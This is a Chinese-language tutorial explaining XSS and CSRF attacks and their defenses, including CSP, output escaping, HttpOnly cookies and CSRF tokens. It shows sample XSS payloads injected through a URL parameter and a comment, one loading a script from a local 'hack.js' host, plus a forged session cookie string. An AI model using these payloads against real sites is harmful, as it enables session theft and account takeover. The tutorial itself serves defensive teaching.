# XSS和CSRF

# 一、XSS

XSS (Cross-Site Scripting),跨站脚本攻击,黑客将恶意脚本代码植入到页面中从而实现盗取用户信息等操作。

# XSS攻击分类

  • 反射型 - url参数直接注入

用户A访问安全网站B,然后用户C发现B网站存在XSS漏洞,此时用户C向A发送了一封邮件,里面有包含恶意脚本的URL地址(此URL地址还是网站B的地址,只是路径上有恶意脚本),当用户点击访问时,因为网站B中cookie含有用户的敏感信息,此时用户C就可以利用脚本在受信任的情况下获取用户A的cookie信息,以及进行一些恶意操作。这种攻击叫做反射性XSS。

// 普通
http://localhost:3000/?from=china
// alert尝试
http://localhost:3000/?from=<script>alert(3)</script>
// 获取Cookie
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js"></script>
// 短域名伪造 https://dwz.cn/
// 伪造cookie入侵 chrome
document.cookie="kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTUzNTY1MDAxO
DYxLCJfbWF4QWdlIjo4NjQwMDAwMH0="
1
2
3
4
5
6
7
8
9
10
  • 存储型 - 存储到DB后读取时注入

假设网站B是一个博客网站,恶意用户C在存在XSS漏洞的网站B发布了一篇文章,文章中存在一些恶意脚本,例如img标签、script标签等,这篇博客必然会存入数据库中,当其他用户访问该文章时恶意脚本就会执行,然后进行恶意操作。这种攻击方式叫做持久性XSS,将携带脚本的数据存入数据库,之后又由后台返回。

// 评论
<script>alert(1)</script>
// 跨站脚本注入
我来了<script src="http://localhost:4000/hack.js"></script>
1
2
3
4

# XSS攻击危害

  • 获取页面数据
  • 获取Cookies
  • 劫持前端逻辑
  • 发送请求
  • 偷取网站的任意数据
  • 偷取用户的资料
  • 偷取用户的秘密和登录态
  • 欺骗用户

# 防范手段

  • 服务端设置HEAD
ctx.set('X-XSS-Protection', 0) // 禁止XSS过滤
// http://localhost:3000/?from=<script>alert(3)</script> 可以拦截 但伪装一下就不行了
1
2
0 禁止XSS过滤。
1 启用XSS过滤(通常浏览器是默认的)。

如果检测到跨站脚本攻击,浏览器将清除页面(删除不安全的部分)。
1;mode=block 启用XSS过滤。 如果检测到攻击,浏览器将不会清除页面,而是阻止页面加载。
1;report= (Chromium only)  启用XSS过滤。 如果检测到跨站脚本攻击,浏览器将清除页面并使用CSP report-uri 指令的功能发送违规
报告。
1
2
3
4
5
6
7
  • CSP

内容安全策略 (CSP, Content Security Policy) 是一个附加的安全层,用于帮助检测和缓解某些类型的攻 击,包括跨站脚本 (XSS) 和数据注入等攻击。 这些攻击可用于实现从数据窃取到网站破坏或作为恶意软 件分发版本等用途。 CSP 本质上就是建立白名单,开发者明确告诉浏览器哪些外部资源可以加载和执行。我们只需要配置规则,如何拦截是由浏览器自己实现的。我们可以通过这种方式来尽量减少 XSS 攻击。

// 只允许加载本站资源
Content-Security-Policy: default-src 'self'
// 只允许加载 HTTPS 协议图片
Content-Security-Policy: img-src https://*
// 不允许加载任何来源框架
Content-Security-Policy: child-src 'none'
ctx.set('Content-Security-Policy', "default-src 'self'")
// 尝试一下外部资源不能加载
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js"></script>
1
2
3
4
5
6
7
8
9
  • 转义字符

用户的输入永远不可信任的,最普遍的做法就是转义输入输出的内容,对于引号、尖括号、斜杠进行转义

// 黑名单转义
function escape(str) {
    str = str.replace(/&/g, '&amp;')
    str = str.replace(/</g, '&lt;')
    str = str.replace(/>/g, '&gt;')
    str = str.replace(/"/g, '&quto;')
    str = str.replace(/'/g, '&#39;')
    str = str.replace(/`/g, '&#96;')
    str = str.replace(/\//g, '&#x2F;')
    return str
}
1
2
3
4
5
6
7
8
9
10
11

富文本来说,显然不能通过上面的办法来转义所有字符,因为这样会把需要的格式也过滤掉。对于这种情况,通常采用白名单过滤的办法,当然也可以通过黑名单过滤,但是考虑到需要过滤的标签和标签属性实在太多,更加推荐使用白名单的方式。

// 白名单转义
const xss = require('xss')
let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>')
// -> <h1>XSS Demo</h1>&lt;script&gt;alert("xss");&lt;/script&gt;
console.log(html)
1
2
3
4
5
  • HttpOnly Cookie

这是预防XSS攻击窃取用户cookie最有效的防御手段。Web应用程序在设置cookie时,将其属性设为HttpOnly,就可以避免该网页的cookie被客户端恶意JavaScript窃取,保护用户cookie信息。

response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")
1

# 二、CSRF

CSRF(Cross Site Request Forgery),即跨站请求伪造,是一种常见的Web攻击,它利用用户已登录的身份, 在用户毫不知情的情况下,以用户的名义完成非法操作。

  • 用户已经登录了站点 A,并在本地记录了 cookie
  • 在用户没有登出站点 A 的情况下(也就是 cookie生效的情况下),访问了恶意攻击者提供的引诱危险站点 B (B 站点要求访问站点A)。
  • 站点 A 没有做任何 CSRF 防御

# CSRF攻击危害

  • 利用用户登录态
  • 用户不知情
  • 完成业务请求
  • 盗取用户资金(转账,消费)
  • 冒充用户发帖背锅
  • 损害网站声誉

# 防范手段

  • Referer验证(判断页面的来源referer是否来自本站)
  • 验证码(最有效)
  • Token 令牌验证(因为token是加在头部的,而csrf在伪造请求的时候只会带上cookie,不会带上token,所以就可以避免攻击)
  • 禁止第三方网站带Cookie - 有兼容性问题

# 三、两者区别

  • CSRF需要登陆后操作,XSS不需要。
  • CSRF是请求页面api来实现非法操作,XSS是向当前页面植入js脚本来修改页面内容。
Last Updated: 3/26/2020, 4:20:55 PM